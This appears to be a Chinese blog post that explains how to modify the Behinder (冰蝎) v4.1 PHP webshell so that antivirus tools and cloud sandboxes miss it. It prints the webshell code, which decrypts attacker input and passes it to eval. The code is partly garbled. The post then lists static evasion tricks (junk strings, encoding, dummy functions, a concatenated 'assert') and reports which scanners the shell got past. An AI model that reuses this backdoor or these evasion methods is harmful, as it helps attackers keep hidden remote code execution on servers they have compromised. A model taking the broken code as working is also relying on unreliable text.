写在前面——本文章中无任何不良导向或诱导未成年人犯罪行为,仅做技术分享,请各位看官遵守中华人民共和国法律,并严格按照中华人民共和国网络安全法行事!请勿在公网环境中进行测试,如有需要请各位未来的大佬们自己搭建环境进行测试!
今天来做一期有关冰蝎子马子免杀的分享。
冰蝎是一款很好用的webshell管理工具,流量加密和可高度自定义的各类木马使得它成为很多师傅们的心头爱,那么这期就来和大家探讨一下有关冰蝎php木马的静态免杀,目前设立的目标当然是尽可能多的过杀软的免杀嘛~(这里以冰蝎V4.1为例)
<?php
@error_reporting(0);
session_start(); #开启ssssion
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
_SESSION['k']=key; #把key存到session当中
session_write_close();
$post=file_get_contents("php://input"); #把传入的命令作为字符串读入post中
if(!extension_loaded('openssl')) #根据路径判断是否有openssl服务
{
$t="base64_"."decode"; #不存在openssh服务则使用base64解码,这里还拼接了字符串来绕过检测
post=t(
for(i=0;i<strlen(post);i++) {
post[i] = post[i]^key[i+1&15];
}
}
else
{
post=openssl_decrypt(post, "AES128",
}
arr=explode('|',post); #以|符号来划分post里的字符串
func=arr[0];
params=arr[1];
class C{public function __invoke(p) {eval(p."");}} #执行主体
@call_user_func(new C(),$params);
?>
以上大概就是马子的解读了,其实并不复杂,主要就是分为解密和执行两个部分。最好的免杀方式还是从加解密入手,二开冰鞋管理端去掉特征并修改加密方式,但考虑到这种方法并不适用于新手以及一些对代码不是太熟悉的师傅(其实就是鼠鼠我菜,没有把握改好还能用),
这篇文章主要从以下几个方面入手去进行静态免杀:
1.大量字符串+字符串编码混淆
这个其实很简单,随便找几段话或者垃圾字符放在php执行代码之外不会影响代码执行,但杀软查杀时会把这部分读取进去,以此来尽可能浑水摸鱼过关。
2.主体代码部分全部转utf8编码再进行解码
亲测有效,目前杀软和绝大部分云查杀平台对base64较敏感但对utf-8较为友好,还是可以尝试的。
3.多余函数混淆
计算,排列,怎么弱智怎么来,只要不影响主体代码执行即可。
4.字符串拼接关键函数名再执行
主要是针对assert的,拼接成a.s.s.e.r.t,或者再加上一些倒叙读取字符串之类的也可。(注意,仅php7.1之前生效)
废话不多说上截图:
这个马子之前我改过一次了,大概按照上述的方法又做了点,大差不差。
①经典phpstudy上线
②手动挂马(滑稽黑客)
③直接访问没有报错(下面的utf-8是我写在php<>之外的)
④冰蝎上线,ok,no趴笨!
上实战!
本次选取的几个云查杀主要有vt、360沙箱云、阿里云、微步,大圣云沙箱。
先放上一张冰蝎php原马在vt上的情况做对照:
免杀马查杀结果直接上截图:
①vt全过
②360沙箱云(非专业版)未检测出
③微步云沙箱,险胜!
开始骄傲 我觉得自己又行了
④大圣云沙箱
Damn!刚说完就翻车了!但是也正常,只是做了基础的静态免杀而已,其实处理还是不够到位的,心态要端正,很不错了!
⑤阿里云沙箱webshell查杀
到大马哥这虽然也是翻车,但是好歹知道原因了,果然是eval这里出了问题,但是前文也提到过了,如果是7.1以下的php可以用assert拼接绕过的,这里就请大家当作什么都没发生吧...理解万岁!
其实还有小马哥的腾讯哈勃,但是那个不支持上传webshell,上传压缩包虽然行,但是如果压缩一遍了连冰蝎原马都查杀不出来,就当图一乐了,就不放出来了.....大部分云沙箱和在线查杀我都基本试过了,基本除了安恒云沙箱都能稳过(ah一生之敌),因为我的测试环境是php7.3往上了,没法用assert拼接执行,估计是检测到了eval执行字符串代码,所以静态检测没过,太丢脸就不放截图啦,师傅们可以按着自己的想法改改试试()
静态免杀的大致思路还是混淆、编码等方向,也可以再套用一些自动化的免杀工具之类的,无非也就是多套一层垃圾代码和混淆,也是可以的,不过真在实战中实际应用起来还是免不了动态上的处理,隐藏特征、改写流量、深度二开等,但这又是后话了,今天又是很安全的一天呢。